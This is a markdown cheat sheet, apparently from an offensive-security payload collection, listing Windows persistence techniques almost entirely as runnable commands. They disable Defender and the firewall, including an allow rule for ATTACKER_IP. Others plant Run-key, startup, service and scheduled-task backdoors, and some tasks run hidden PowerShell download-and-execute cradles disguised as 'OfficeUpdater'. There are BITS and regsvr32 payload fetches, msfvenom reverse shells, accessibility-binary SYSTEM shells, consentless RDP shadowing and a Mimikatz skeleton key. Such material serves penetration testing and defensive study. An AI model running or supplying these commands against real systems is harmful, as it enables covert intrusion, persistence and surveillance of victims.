# Windows - Persistence ## Summary * [Tools](#tools) * [Hide Your Binary](#hide-your-binary) * [Disable Windows Defender](#disable-windows-defender) * [Disable Windows Firewall](#disable-windows-firewall) * [Simple User](#simple-user) * [Registry HKCU](#registry-hkcu) * [Startup](#startup) * [Scheduled Tasks User](#scheduled-tasks-user) * [BITS Jobs](#bits-jobs) * [Serviceland](#serviceland) * [IIS](#iis) * [Windows Service](#windows-service) * [Elevated](#elevated) * [Registry HKLM](#registry-hklm) * [Winlogon Helper DLL](#) * [GlobalFlag](#) * [Startup Elevated](#startup-elevated) * [Services Elevated](#services-elevated) * [Scheduled Tasks Elevated](#scheduled-tasks-elevated) * [Binary Replacement](#binary-replacement) * [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp) * [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10) * [RDP Backdoor](#rdp-backdoor) * [utilman.exe](#utilman.exe) * [sethc.exe](#sethc.exe) * [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing) * [Skeleton Key](#skeleton-key) * [References](#references) ## Tools - [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist) ## Hide Your Binary > Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file. ```ps1 PS> attrib +h mimikatz.exe ``` ## Disable Windows Defender ```powershell # Disable Defender sc config WinDefend start= disabled sc stop WinDefend Set-MpPreference -DisableRealtimeMonitoring $true # Wipe currently stored definitions # Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\ MpCmdRun.exe -RemoveDefinitions -All ## Exclude a process / location Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\Video, C:\install ``` ## Disable Windows Firewall ```powershell Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off # ip whitelisting New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP ``` ## Simple User Set a file as hidden ```powershell attrib +h c:\autoexec.bat ``` ### Registry HKCU Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows. ```powershell Value name: Backdoor Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe ``` Using the command line ```powershell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe" ``` Using SharPersist ```powershell SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add ``` ### Startup Create a batch script in the user startup folder. ```powershell PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe ``` Using SharPersist ```powershell SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add ``` ### Scheduled Tasks User Using native **schtask** ```powershell # Create the scheduled tasks to run once at 00.00 schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe # Force run it now ! schtasks /run /tn "Device-Synchronize" ``` Using Powershell ```powershell PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe" PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:\> $P = New-ScheduledTaskPrincipal "Rasta" PS C:\> $S = New-ScheduledTaskSettingsSet PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:\> Register-ScheduledTask Backdoor -InputObject $D ``` Using SharPersist ```powershell # Add to a current scheduled task SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add # Add new task SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly ``` ### BITS Jobs ```powershell bitsadmin /create backdoor bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe" # v1 bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL bitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor # v2 - exploit/multi/script/web_delivery bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll" bitsadmin /resume backdoor ``` ## Serviceland ### IIS IIS Raid – Backdooring IIS Using Native Modules ```powershell $ git clone https://github.com/0x09AL/IIS-Raid $ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true ``` ### Windows Service Using SharPersist ```powershell SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add ``` ## Elevated ### Registry HKLM Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows. ```powershell Value name: Backdoor Value data: C:\Windows\Temp\backdoor.exe ``` Using the command line ```powershell reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" ``` #### Winlogon Helper DLL > Run executable during Windows logon ```powershell msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force ``` #### GlobalFlag > Run executable after notepad is killed ```powershell reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" ``` ### Startup Elevated Create a batch script in the user startup folder. ```powershell C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp ``` ### Services Elevated Create a service that will start automatically or on-demand. ```powershell # Powershell New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic sc start pentestlab # SharPersist SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add # sc sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem" sc start Backdoor ``` ### Scheduled Tasks Elevated Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day. > Processes spawned as scheduled tasks have taskeng.exe process as their parent ```powershell # Powershell $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe" $T = New-ScheduledTaskTrigger -Daily -At 9am # OR $T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM" $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest $S = New-ScheduledTaskSettingsSet $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask "Backdoor" -InputObject $D # Native schtasks schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM" schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time] ##(X86) - On User Login schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System ##(X86) - On System Start schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System ##(X86) - On User Idle (30mins) schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30 ##(X64) - On User Login schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System ##(X64) - On System Start schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System ##(X64) - On User Idle (30mins) schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30 ``` ### Binary Replacement #### Binary Replacement on Windows XP+ | Feature | Executable | |---------------------|---------------------------------------| | Sticky Keys | C:\Windows\System32\sethc.exe | | Accessibility Menu | C:\Windows\System32\utilman.exe | | On-Screen Keyboard | C:\Windows\System32\osk.exe | | Magnifier | C:\Windows\System32\Magnify.exe | | Narrator | C:\Windows\System32\Narrator.exe | | Display Switcher | C:\Windows\System32\DisplaySwitch.exe | | App Switcher | C:\Windows\System32\AtBroker.exe | In Metasploit : `use post/windows/manage/sticky_keys` #### Binary Replacement on Windows 10+ Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable. Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`. ### RDP Backdoor #### utilman.exe At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM. ```powershell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f ``` #### sethc.exe Hit F5 a bunch of times when you are at the RDP login screen. ```powershell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f ``` ### Remote Desktop Services Shadowing :warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature. Requirements: * RDP must be running ```powershell reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 # 4 – View Session without user’s permission. # Allowing remote connections to this computer reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # Disable UAC remote restriction reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt # /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host; # /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID; # /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent; # /prompt parameter is used to specify a user’s credentials to connect to a remote host. ``` ### Skeleton Key ```powershell # Exploitation Command runned as DA: Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName # Access using the password "mimikatz" Enter-PSSession -ComputerName -Credential \Administrator ``` ## References * [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/) * [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md) * [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo) * [IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/) * [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html) * [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md) * [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/) * [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/) * [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/) * [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)